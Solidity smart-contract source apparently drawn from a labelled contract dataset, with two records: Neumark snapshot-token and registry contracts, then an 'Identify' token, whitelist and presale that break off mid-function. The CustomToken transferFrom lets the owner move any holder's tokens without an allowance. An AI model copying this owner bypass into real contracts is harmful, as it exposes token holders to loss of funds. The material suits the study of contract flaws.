contract TokenAllowance is
MTokenTransfer,
MTokenAllowanceController,
IERC20Allowance,
IERC677Token
{
mapping (address => mapping (address => uint256)) private _allowed;
constructor()
internal
{
}
function allowance(address owner, address spender)
public
constant
returns (uint256 remaining)
{
uint256 override = mAllowanceOverride(owner, spender);
if (override > 0) {
return override;
}
return _allowed[owner][spender];
}
function approve(address spender, uint256 amount)
public
returns (bool success)
{
require(mOnApprove(msg.sender, spender, amount));
require((amount == 0 || _allowed[msg.sender][spender] == 0) && mAllowanceOverride(msg.sender, spender) == 0);
_allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount)
public
returns (bool success)
{
uint256 allowed = mAllowanceOverride(from, msg.sender);
if (allowed == 0) {
allowed = _allowed[from][msg.sender];
_allowed[from][msg.sender] -= amount;
}
require(allowed >= amount);
mTransfer(from, to, amount);
return true;
}
function approveAndCall(
address spender,
uint256 amount,
bytes extraData
)
public
returns (bool success)
{
require(approve(spender, amount));
success = IERC677Callback(spender).receiveApproval(
msg.sender,
amount,
this,
extraData
);
require(success);
return true;
}
function mAllowanceOverride(
address ,
address
)
internal
constant
returns (uint256)
{
return 0;
}
}
contract Snapshot is MSnapshotPolicy {
struct Values {
uint256 snapshotId;
uint256 value;
}
function hasValue(
Values[] storage values
)
internal
constant
returns (bool)
{
return values.length > 0;
}
function hasValueAt(
Values[] storage values,
uint256 snapshotId
)
internal
constant
returns (bool)
{
require(snapshotId <= mCurrentSnapshotId());
return values.length > 0 && values[0].snapshotId <= snapshotId;
}
function getValue(
Values[] storage values,
uint256 defaultValue
)
internal
constant
returns (uint256)
{
if (values.length == 0) {
return defaultValue;
} else {
uint256 last = values.length - 1;
return values[last].value;
}
}
function getValueAt(
Values[] storage values,
uint256 snapshotId,
uint256 defaultValue
)
internal
constant
returns (uint256)
{
require(snapshotId <= mCurrentSnapshotId());
if (values.length == 0) {
return defaultValue;
}
uint256 last = values.length - 1;
uint256 lastSnapshot = values[last].snapshotId;
if (snapshotId >= lastSnapshot) {
return values[last].value;
}
uint256 firstSnapshot = values[0].snapshotId;
if (snapshotId < firstSnapshot) {
return defaultValue;
}
uint256 min = 0;
uint256 max = last;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (values[mid].snapshotId <= snapshotId) {
min = mid;
} else {
max = mid - 1;
}
}
return values[min].value;
}
function setValue(
Values[] storage values,
uint256 value
)
internal
{
uint256 currentSnapshotId = mAdvanceSnapshotId();
bool empty = values.length == 0;
if (empty) {
values.push(
Values({
snapshotId: currentSnapshotId,
value: value
})
);
return;
}
uint256 last = values.length - 1;
bool hasNewSnapshot = values[last].snapshotId < currentSnapshotId;
if (hasNewSnapshot) {
bool unmodified = values[last].value == value;
if (unmodified) {
return;
}
values.push(
Values({
snapshotId: currentSnapshotId,
value: value
})
);
} else {
bool previousUnmodified = last > 0 && values[last - 1].value == value;
if (previousUnmodified) {
delete values[last];
values.length--;
return;
}
values[last].value = value;
}
}
}
contract ITokenSnapshots {
function totalSupplyAt(uint256 snapshotId)
public
constant
returns(uint256);
function balanceOfAt(address owner, uint256 snapshotId)
public
constant
returns (uint256);
function currentSnapshotId()
public
constant
returns (uint256);
}
contract IClonedTokenParent is ITokenSnapshots {
function parentToken()
public
constant
returns(IClonedTokenParent parent);
function parentSnapshotId()
public
constant
returns(uint256 snapshotId);
}
contract BasicSnapshotToken is
MTokenTransfer,
MTokenTransferController,
IClonedTokenParent,
IBasicToken,
Snapshot
{
IClonedTokenParent private PARENT_TOKEN;
uint256 private PARENT_SNAPSHOT_ID;
mapping (address => Values[]) internal _balances;
Values[] internal _totalSupplyValues;
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
Snapshot()
internal
{
PARENT_TOKEN = parentToken;
if (parentToken == address(0)) {
require(parentSnapshotId == 0);
} else {
if (parentSnapshotId == 0) {
require(parentToken.currentSnapshotId() > 0);
PARENT_SNAPSHOT_ID = parentToken.currentSnapshotId() - 1;
} else {
PARENT_SNAPSHOT_ID = parentSnapshotId;
}
}
}
function totalSupply()
public
constant
returns (uint256)
{
return totalSupplyAtInternal(mCurrentSnapshotId());
}
function balanceOf(address owner)
public
constant
returns (uint256 balance)
{
return balanceOfAtInternal(owner, mCurrentSnapshotId());
}
function transfer(address to, uint256 amount)
public
returns (bool success)
{
mTransfer(msg.sender, to, amount);
return true;
}
function totalSupplyAt(uint256 snapshotId)
public
constant
returns(uint256)
{
return totalSupplyAtInternal(snapshotId);
}
function balanceOfAt(address owner, uint256 snapshotId)
public
constant
returns (uint256)
{
return balanceOfAtInternal(owner, snapshotId);
}
function currentSnapshotId()
public
constant
returns (uint256)
{
return mCurrentSnapshotId();
}
function parentToken()
public
constant
returns(IClonedTokenParent parent)
{
return PARENT_TOKEN;
}
function parentSnapshotId()
public
constant
returns(uint256 snapshotId)
{
return PARENT_SNAPSHOT_ID;
}
function allBalancesOf(address owner)
external
constant
returns (uint256[2][])
{
Values[] storage values = _balances[owner];
uint256[2][] memory balances = new uint256[2][](values.length);
for(uint256 ii = 0; ii < values.length; ++ii) {
balances[ii] = [values[ii].snapshotId, values[ii].value];
}
return balances;
}
function totalSupplyAtInternal(uint256 snapshotId)
internal
constant
returns(uint256)
{
Values[] storage values = _totalSupplyValues;
if (hasValueAt(values, snapshotId)) {
return getValueAt(values, snapshotId, 0);
}
if (address(PARENT_TOKEN) != 0) {
uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID;
return PARENT_TOKEN.totalSupplyAt(earlierSnapshotId);
}
return 0;
}
function balanceOfAtInternal(address owner, uint256 snapshotId)
internal
constant
returns (uint256)
{
Values[] storage values = _balances[owner];
if (hasValueAt(values, snapshotId)) {
return getValueAt(values, snapshotId, 0);
}
if (PARENT_TOKEN != address(0)) {
uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID;
return PARENT_TOKEN.balanceOfAt(owner, earlierSnapshotId);
}
return 0;
}
function mTransfer(
address from,
address to,
uint256 amount
)
internal
{
require(to != address(0));
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
require(mOnTransfer(from, to, amount));
uint256 previousBalanceFrom = balanceOf(from);
require(previousBalanceFrom >= amount);
uint256 newBalanceFrom = previousBalanceFrom - amount;
setValue(_balances[from], newBalanceFrom);
uint256 previousBalanceTo = balanceOf(to);
uint256 newBalanceTo = previousBalanceTo + amount;
assert(newBalanceTo >= previousBalanceTo);
setValue(_balances[to], newBalanceTo);
emit Transfer(from, to, amount);
}
}
contract MTokenMint {
function mGenerateTokens(address owner, uint256 amount)
internal;
function mDestroyTokens(address owner, uint256 amount)
internal;
}
contract MintableSnapshotToken is
BasicSnapshotToken,
MTokenMint
{
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
BasicSnapshotToken(parentToken, parentSnapshotId)
internal
{}
function mGenerateTokens(address owner, uint256 amount)
internal
{
require(owner != address(0));
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
uint256 curTotalSupply = totalSupply();
uint256 newTotalSupply = curTotalSupply + amount;
require(newTotalSupply >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(owner);
uint256 newBalanceTo = previousBalanceTo + amount;
assert(newBalanceTo >= previousBalanceTo);
setValue(_totalSupplyValues, newTotalSupply);
setValue(_balances[owner], newBalanceTo);
emit Transfer(0, owner, amount);
}
function mDestroyTokens(address owner, uint256 amount)
internal
{
require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId());
uint256 curTotalSupply = totalSupply();
require(curTotalSupply >= amount);
uint256 previousBalanceFrom = balanceOf(owner);
require(previousBalanceFrom >= amount);
uint256 newTotalSupply = curTotalSupply - amount;
uint256 newBalanceFrom = previousBalanceFrom - amount;
setValue(_totalSupplyValues, newTotalSupply);
setValue(_balances[owner], newBalanceFrom);
emit Transfer(owner, 0, amount);
}
}
contract StandardSnapshotToken is
MintableSnapshotToken,
TokenAllowance
{
constructor(
IClonedTokenParent parentToken,
uint256 parentSnapshotId
)
MintableSnapshotToken(parentToken, parentSnapshotId)
TokenAllowance()
internal
{}
}
contract IERC223LegacyCallback {
function onTokenTransfer(address from, uint256 amount, bytes data)
public;
}
contract IERC223Token is IERC20Token, ITokenMetadata {
function transfer(address to, uint256 amount, bytes data)
public
returns (bool);
}
contract Neumark is
AccessControlled,
AccessRoles,
Agreement,
DailyAndSnapshotable,
StandardSnapshotToken,
TokenMetadata,
IERC223Token,
NeumarkIssuanceCurve,
Reclaimable,
IsContract
{
string private constant TOKEN_NAME = "Neumark";
uint8 private constant TOKEN_DECIMALS = 18;
string private constant TOKEN_SYMBOL = "NEU";
string private constant VERSION = "NMK_1.0";
bool private _transferEnabled = false;
uint256 private _totalEurUlps;
event LogNeumarksIssued(
address indexed owner,
uint256 euroUlps,
uint256 neumarkUlps
);
event LogNeumarksBurned(
address indexed owner,
uint256 euroUlps,
uint256 neumarkUlps
);
constructor(
IAccessPolicy accessPolicy,
IEthereumForkArbiter forkArbiter
)
AccessRoles()
Agreement(accessPolicy, forkArbiter)
StandardSnapshotToken(
IClonedTokenParent(0x0),
0
)
TokenMetadata(
TOKEN_NAME,
TOKEN_DECIMALS,
TOKEN_SYMBOL,
VERSION
)
DailyAndSnapshotable(0)
NeumarkIssuanceCurve()
Reclaimable()
public
{}
function issueForEuro(uint256 euroUlps)
public
only(ROLE_NEUMARK_ISSUER)
acceptAgreement(msg.sender)
returns (uint256)
{
require(_totalEurUlps + euroUlps >= _totalEurUlps);
uint256 neumarkUlps = incremental(_totalEurUlps, euroUlps);
_totalEurUlps += euroUlps;
mGenerateTokens(msg.sender, neumarkUlps);
emit LogNeumarksIssued(msg.sender, euroUlps, neumarkUlps);
return neumarkUlps;
}
function distribute(address to, uint256 neumarkUlps)
public
only(ROLE_NEUMARK_ISSUER)
acceptAgreement(to)
{
mTransfer(msg.sender, to, neumarkUlps);
}
function burn(uint256 neumarkUlps)
public
only(ROLE_NEUMARK_BURNER)
{
burnPrivate(neumarkUlps, 0, _totalEurUlps);
}
function burn(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
only(ROLE_NEUMARK_BURNER)
{
burnPrivate(neumarkUlps, minEurUlps, maxEurUlps);
}
function enableTransfer(bool enabled)
public
only(ROLE_TRANSFER_ADMIN)
{
_transferEnabled = enabled;
}
function createSnapshot()
public
only(ROLE_SNAPSHOT_CREATOR)
returns (uint256)
{
return DailyAndSnapshotable.createSnapshot();
}
function transferEnabled()
public
constant
returns (bool)
{
return _transferEnabled;
}
function totalEuroUlps()
public
constant
returns (uint256)
{
return _totalEurUlps;
}
function incremental(uint256 euroUlps)
public
constant
returns (uint256 neumarkUlps)
{
return incremental(_totalEurUlps, euroUlps);
}
function transfer(address to, uint256 amount, bytes data)
public
returns (bool)
{
BasicSnapshotToken.mTransfer(msg.sender, to, amount);
if (isContract(to)) {
IERC223LegacyCallback(to).onTokenTransfer(msg.sender, amount, data);
}
return true;
}
function mOnTransfer(
address from,
address,
uint256
)
internal
acceptAgreement(from)
returns (bool allow)
{
return _transferEnabled || accessPolicy().allowed(msg.sender, ROLE_NEUMARK_ISSUER, this, msg.sig);
}
function mOnApprove(
address owner,
address,
uint256
)
internal
acceptAgreement(owner)
returns (bool allow)
{
return true;
}
function burnPrivate(uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
private
{
uint256 prevEuroUlps = _totalEurUlps;
mDestroyTokens(msg.sender, burnNeumarkUlps);
_totalEurUlps = cumulativeInverse(totalSupply(), minEurUlps, maxEurUlps);
assert(prevEuroUlps >= _totalEurUlps);
uint256 euroUlps = prevEuroUlps - _totalEurUlps;
emit LogNeumarksBurned(msg.sender, euroUlps, burnNeumarkUlps);
}
}
contract IERC223Callback {
function tokenFallback(address from, uint256 amount, bytes data)
public;
}
contract IFeeDisbursal is IERC223Callback {
}
contract IPlatformPortfolio is IERC223Callback {
}
contract ITokenExchangeRateOracle {
function getExchangeRate(address numeratorToken, address denominatorToken)
public
constant
returns (uint256 rateFraction, uint256 timestamp);
function getExchangeRates(address[] numeratorTokens, address[] denominatorTokens)
public
constant
returns (uint256[] rateFractions, uint256[] timestamps);
}
contract Universe is
Agreement,
IContractId,
KnownInterfaces
{
event LogSetSingleton(
bytes4 interfaceId,
address instance,
address replacedInstance
);
event LogSetCollectionInterface(
bytes4 interfaceId,
address instance,
bool isSet
);
mapping(bytes4 => address) private _singletons;
mapping(bytes4 =>
mapping(address => bool)) private _collections;
mapping(address => bytes4[]) private _instances;
constructor(
IAccessPolicy accessPolicy,
IEthereumForkArbiter forkArbiter
)
Agreement(accessPolicy, forkArbiter)
public
{
setSingletonPrivate(KNOWN_INTERFACE_ACCESS_POLICY, accessPolicy);
setSingletonPrivate(KNOWN_INTERFACE_FORK_ARBITER, forkArbiter);
}
function getSingleton(bytes4 interfaceId)
public
constant
returns (address)
{
return _singletons[interfaceId];
}
function getManySingletons(bytes4[] interfaceIds)
public
constant
returns (address[])
{
address[] memory addresses = new address[](interfaceIds.length);
uint256 idx;
while(idx < interfaceIds.length) {
addresses[idx] = _singletons[interfaceIds[idx]];
idx += 1;
}
return addresses;
}
function isSingleton(bytes4 interfaceId, address instance)
public
constant
returns (bool)
{
return _singletons[interfaceId] == instance;
}
function isInterfaceCollectionInstance(bytes4 interfaceId, address instance)
public
constant
returns (bool)
{
return _collections[interfaceId][instance];
}
function isAnyOfInterfaceCollectionInstance(bytes4[] interfaceIds, address instance)
public
constant
returns (bool)
{
uint256 idx;
while(idx < interfaceIds.length) {
if (_collections[interfaceIds[idx]][instance]) {
return true;
}
idx += 1;
}
return false;
}
function getInterfacesOfInstance(address instance)
public
constant
returns (bytes4[] interfaces)
{
return _instances[instance];
}
function setSingleton(bytes4 interfaceId, address instance)
public
only(ROLE_UNIVERSE_MANAGER)
{
setSingletonPrivate(interfaceId, instance);
}
function setManySingletons(bytes4[] interfaceIds, address[] instances)
public
only(ROLE_UNIVERSE_MANAGER)
{
require(interfaceIds.length == instances.length);
uint256 idx;
while(idx < interfaceIds.length) {
setSingletonPrivate(interfaceIds[idx], instances[idx]);
idx += 1;
}
}
function setCollectionInterface(bytes4 interfaceId, address instance, bool set)
public
only(ROLE_UNIVERSE_MANAGER)
{
setCollectionPrivate(interfaceId, instance, set);
}
function setInterfaceInManyCollections(bytes4[] interfaceIds, address instance, bool set)
public
only(ROLE_UNIVERSE_MANAGER)
{
uint256 idx;
while(idx < interfaceIds.length) {
setCollectionPrivate(interfaceIds[idx], instance, set);
idx += 1;
}
}
function setCollectionsInterfaces(bytes4[] interfaceIds, address[] instances, bool[] set_flags)
public
only(ROLE_UNIVERSE_MANAGER)
{
require(interfaceIds.length == instances.length);
require(interfaceIds.length == set_flags.length);
uint256 idx;
while(idx < interfaceIds.length) {
setCollectionPrivate(interfaceIds[idx], instances[idx], set_flags[idx]);
idx += 1;
}
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x8b57bfe21a3ef4854e19d702063b6cea03fa514162f8ff43fde551f06372fefd, 0);
}
function accessPolicy() public constant returns (IAccessPolicy) {
return IAccessPolicy(_singletons[KNOWN_INTERFACE_ACCESS_POLICY]);
}
function forkArbiter() public constant returns (IEthereumForkArbiter) {
return IEthereumForkArbiter(_singletons[KNOWN_INTERFACE_FORK_ARBITER]);
}
function neumark() public constant returns (Neumark) {
return Neumark(_singletons[KNOWN_INTERFACE_NEUMARK]);
}
function etherToken() public constant returns (IERC223Token) {
return IERC223Token(_singletons[KNOWN_INTERFACE_ETHER_TOKEN]);
}
function euroToken() public constant returns (IERC223Token) {
return IERC223Token(_singletons[KNOWN_INTERFACE_EURO_TOKEN]);
}
function etherLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ETHER_LOCK];
}
function euroLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_EURO_LOCK];
}
function icbmEtherLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ICBM_ETHER_LOCK];
}
function icbmEuroLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ICBM_EURO_LOCK];
}
function identityRegistry() public constant returns (address) {
return IIdentityRegistry(_singletons[KNOWN_INTERFACE_IDENTITY_REGISTRY]);
}
function tokenExchangeRateOracle() public constant returns (address) {
return ITokenExchangeRateOracle(_singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE]);
}
function feeDisbursal() public constant returns (address) {
return IFeeDisbursal(_singletons[KNOWN_INTERFACE_FEE_DISBURSAL]);
}
function platformPortfolio() public constant returns (address) {
return IPlatformPortfolio(_singletons[KNOWN_INTERFACE_PLATFORM_PORTFOLIO]);
}
function tokenExchange() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE];
}
function gasExchange() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_GAS_EXCHANGE];
}
function platformTerms() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_PLATFORM_TERMS];
}
function setSingletonPrivate(bytes4 interfaceId, address instance)
private
{
require(interfaceId != KNOWN_INTERFACE_UNIVERSE, "NF_UNI_NO_UNIVERSE_SINGLETON");
address replacedInstance = _singletons[interfaceId];
if (replacedInstance != instance) {
dropInstance(replacedInstance, interfaceId);
addInstance(instance, interfaceId);
_singletons[interfaceId] = instance;
}
emit LogSetSingleton(interfaceId, instance, replacedInstance);
}
function setCollectionPrivate(bytes4 interfaceId, address instance, bool set)
private
{
if (_collections[interfaceId][instance] == set) {
return;
}
_collections[interfaceId][instance] = set;
if (set) {
addInstance(instance, interfaceId);
} else {
dropInstance(instance, interfaceId);
}
emit LogSetCollectionInterface(interfaceId, instance, set);
}
function addInstance(address instance, bytes4 interfaceId)
private
{
if (instance == address(0)) {
return;
}
bytes4[] storage current = _instances[instance];
uint256 idx;
while(idx < current.length) {
if (current[idx] == interfaceId)
return;
idx += 1;
}
current.push(interfaceId);
}
function dropInstance(address instance, bytes4 interfaceId)
private
{
if (instance == address(0)) {
return;
}
bytes4[] storage current = _instances[instance];
uint256 idx;
uint256 last = current.length - 1;
while(idx <= last) {
if (current[idx] == interfaceId) {
if (idx < last) {
current[idx] = current[last];
}
current.length -= 1;
return;
}
idx += 1;
}
}
}
contract IdentityRegistry is
IIdentityRegistry,
AccessControlled,
AccessRoles,
IContractId
{
mapping(address => bytes32) private _claims;
constructor(Universe universe)
AccessControlled(universe.accessPolicy())
public
{}
function getClaims(address identity)
public
constant
returns (bytes32 claims)
{
return _claims[identity];
}
function getMultipleClaims(address[] identities)
public
constant
returns (bytes32[])
{
uint256 idx;
bytes32[] memory claims = new bytes32[](identities.length);
while(idx < identities.length)
{
claims[idx] = _claims[identities[idx]];
idx += 1;
}
return claims;
}
function setClaims(address identity, bytes32 oldClaims, bytes32 newClaims)
public
only(ROLE_IDENTITY_MANAGER)
{
require(_claims[identity] == oldClaims);
_claims[identity] = newClaims;
emit LogSetClaims(identity, oldClaims, newClaims);
}
function setMultipleClaims(address[] identities, bytes32[] oldClaims, bytes32[] newClaims)
public
only(ROLE_IDENTITY_MANAGER)
{
assert(identities.length == oldClaims.length);
assert(identities.length == newClaims.length);
uint256 idx;
while(idx < identities.length) {
require(_claims[identities[idx]] == oldClaims[idx]);
_claims[identities[idx]] = newClaims[idx];
emit LogSetClaims(identities[idx], oldClaims[idx], newClaims[idx]);
idx += 1;
}
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x5b9788bf65445f2230fa661a463fab851bece5fa9629bbacc6eb011af53b777f, 0);
}
} | 1 | 5,285 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner returns (bool) {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner, newOwner);
return true;
}
}
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
pragma solidity ^0.4.18;
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.18;
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 public totalSupply;
function totalSupply() public view returns (uint256) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
pragma solidity ^0.4.18;
contract CustomToken is ERC20, BasicToken, Ownable {
mapping (address => mapping (address => uint256)) internal allowed;
bool public enableTransfer = true;
modifier whenTransferEnabled() {
require(enableTransfer);
_;
}
event Burn(address indexed burner, uint256 value);
event EnableTransfer(address indexed owner, uint256 timestamp);
event DisableTransfer(address indexed owner, uint256 timestamp);
function transfer(address _to, uint256 _value) whenTransferEnabled public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) whenTransferEnabled public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
if (msg.sender!=owner) {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
} else {
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
}
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) whenTransferEnabled public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCallAsContract(address _spender, uint256 _value, bytes _extraData) onlyOwner public returns (bool success) {
allowed[this][_spender] = _value;
Approval(this, _spender, _value);
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), this, _value, this, _extraData));
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) whenTransferEnabled public returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) whenTransferEnabled public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) whenTransferEnabled public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(address _burner, uint256 _value) onlyOwner public returns (bool) {
require(_value <= balances[_burner]);
balances[_burner] = balances[_burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_burner, _value);
return true;
}
function enableTransfer() onlyOwner public returns (bool) {
enableTransfer = true;
EnableTransfer(owner, now);
return true;
}
function disableTransfer() onlyOwner whenTransferEnabled public returns (bool) {
enableTransfer = false;
DisableTransfer(owner, now);
return true;
}
}
pragma solidity ^0.4.18;
contract Identify is CustomToken {
string public constant name = "IDENTIFY";
string public constant symbol = "IDF";
uint8 public constant decimals = 6;
uint256 public constant INITIAL_SUPPLY = 49253333333 * (10 ** uint256(decimals));
function Identify() public {
totalSupply = INITIAL_SUPPLY;
balances[this] = INITIAL_SUPPLY;
Transfer(0x0, this, INITIAL_SUPPLY);
}
}
pragma solidity ^0.4.18;
contract Whitelist is Ownable {
using SafeMath for uint256;
bool public paused = false;
uint256 public participantAmount;
mapping (address => bool) public isParticipant;
mapping (address => bool) public isAdmin;
event AddParticipant(address _participant);
event AddAdmin(address _admin, uint256 _timestamp);
event RemoveParticipant(address _participant);
event Paused(address _owner, uint256 _timestamp);
event Resumed(address _owner, uint256 _timestamp);
event ClaimedTokens(address indexed owner, address claimtoken, uint amount);
modifier notPaused() {
require(!paused);
_;
}
modifier onlyAdmin() {
require(isAdmin[msg.sender] || msg.sender == owner);
_;
}
function () payable public {
msg.sender.transfer(msg.value);
}
function Whitelist() public {
require(addAdmin(msg.sender));
}
function isParticipant(address _participant) public view returns (bool) {
require(address(_participant) != 0);
return isParticipant[_participant];
}
function addParticipant(address _participant) public notPaused onlyAdmin returns (bool) {
require(address(_participant) != 0);
require(isParticipant[_participant] == false);
isParticipant[_participant] = true;
participantAmount++;
AddParticipant(_participant);
return true;
}
function removeParticipant(address _participant) public onlyAdmin returns (bool) {
require(address(_participant) != 0);
require(isParticipant[_participant]);
require(msg.sender != _participant);
delete isParticipant[_participant];
participantAmount--;
RemoveParticipant(_participant);
return true;
}
function addAdmin(address _admin) public onlyAdmin returns (bool) {
require(address(_admin) != 0);
require(!isAdmin[_admin]);
isAdmin[_admin] = true;
AddAdmin(_admin, now);
return true;
}
function removeAdmin(address _admin) public onlyAdmin returns (bool) {
require(address(_admin) != 0);
require(isAdmin[_admin]);
require(msg.sender != _admin);
delete isAdmin[_admin];
return true;
}
function pauseWhitelist() public onlyAdmin returns (bool) {
paused = true;
Paused(msg.sender,now);
return true;
}
function resumeWhitelist() public onlyAdmin returns (bool) {
paused = false;
Resumed(msg.sender,now);
return true;
}
function addMultipleParticipants(address[] _participants ) public onlyAdmin returns (bool) {
for ( uint i = 0; i < _participants.length; i++ ) {
require(addParticipant(_participants[i]));
}
return true;
}
function addFiveParticipants(address participant1, address participant2, address participant3, address participant4, address participant5) public onlyAdmin returns (bool) {
require(addParticipant(participant1));
require(addParticipant(participant2));
require(addParticipant(participant3));
require(addParticipant(participant4));
require(addParticipant(participant5));
return true;
}
function addTenParticipants(address participant1, address participant2, address participant3, address participant4, address participant5,
address participant6, address participant7, address participant8, address participant9, address participant10) public onlyAdmin returns (bool)
{
require(addParticipant(participant1));
require(addParticipant(participant2));
require(addParticipant(participant3));
require(addParticipant(participant4));
require(addParticipant(participant5));
require(addParticipant(participant6));
require(addParticipant(participant7));
require(addParticipant(participant8));
require(addParticipant(participant9));
require(addParticipant(participant10));
return true;
}
function claimTokens(address _claimtoken) onlyAdmin public returns (bool) {
if (_claimtoken == 0x0) {
owner.transfer(this.balance);
return true;
}
ERC20 claimtoken = ERC20(_claimtoken);
uint balance = claimtoken.balanceOf(this);
claimtoken.transfer(owner, balance);
ClaimedTokens(_claimtoken, owner, balance);
return true;
}
}
pragma solidity ^0.4.18;
contract Presale is Ownable {
using SafeMath for uint256;
Identify public token;
address public tokenAddress;
uint256 public startTime;
uint256 public endTime;
address public wallet;
Whitelist public whitelist;
uint256 public rate = 4200000;
uint256 public weiRaised;
uint256 public tokenRaised;
uint256 public capWEI;
uint256 public capTokens;
uint256 public bonusPercentage = 125;
uint256 public minimumWEI;
uint256 public maximumWEI;
bool public paused = false;
bool public isFinalized = false;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event ClaimedTokens(address indexed owner, address claimtoken, uint amount);
event Paused(address indexed owner, uint256 timestamp);
event Resumed(address indexed owner, uint256 timestamp);
modifier isInWhitelist(address beneficiary) {
require(whitelist.isParticipant(beneficiary));
_;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenNotFinalized() {
require(!isFinalized);
_;
}
modifier onlyMultisigWallet() {
require(msg.sender == wallet);
_;
}
function Presale(uint256 _startTime, address _wallet, address _token, address _whitelist, uint256 _capETH, uint256 _capTokens, uint256 _minimumETH, uint256 _maximumETH) public {
require(_startTime >= now);
require(_wallet != address(0));
require(_token != address(0));
require(_whitelist != address(0));
require(_capETH > 0);
require(_capTokens > 0);
require(_minimumETH > 0);
require(_maximumETH > 0);
startTime = _startTime;
endTime = _startTime.add(19 weeks);
wallet = _wallet;
tokenAddress = _token;
token = Identify(_token);
whitelist = Whitelist(_whitelist);
capWEI = _capETH * (10 ** uint256(18));
capTokens = _capTokens * (10 ** uint256(6));
minimumWEI = _minimumETH * (10 ** uint256(18));
maximumWEI = _maximumETH * (10 ** uint256(18));
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) isInWhitelist(beneficiary) whenNotPaused whenNotFinalized public payable returns (bool) {
require(beneficiary != address(0));
require(validPurchase());
require(!hasEnded());
require(!isContract(msg.sender));
uint256 weiAmount = msg.value;
uint256 tokens = getTokenAmount(weiAmount);
require(tokenRaised.add(tokens) <= capTokens);
weiRaised = weiRaised.add(weiAmount);
tokenRaised = tokenRaised.add(tokens);
require(token.transferFrom(tokenAddress, beneficiary, tokens));
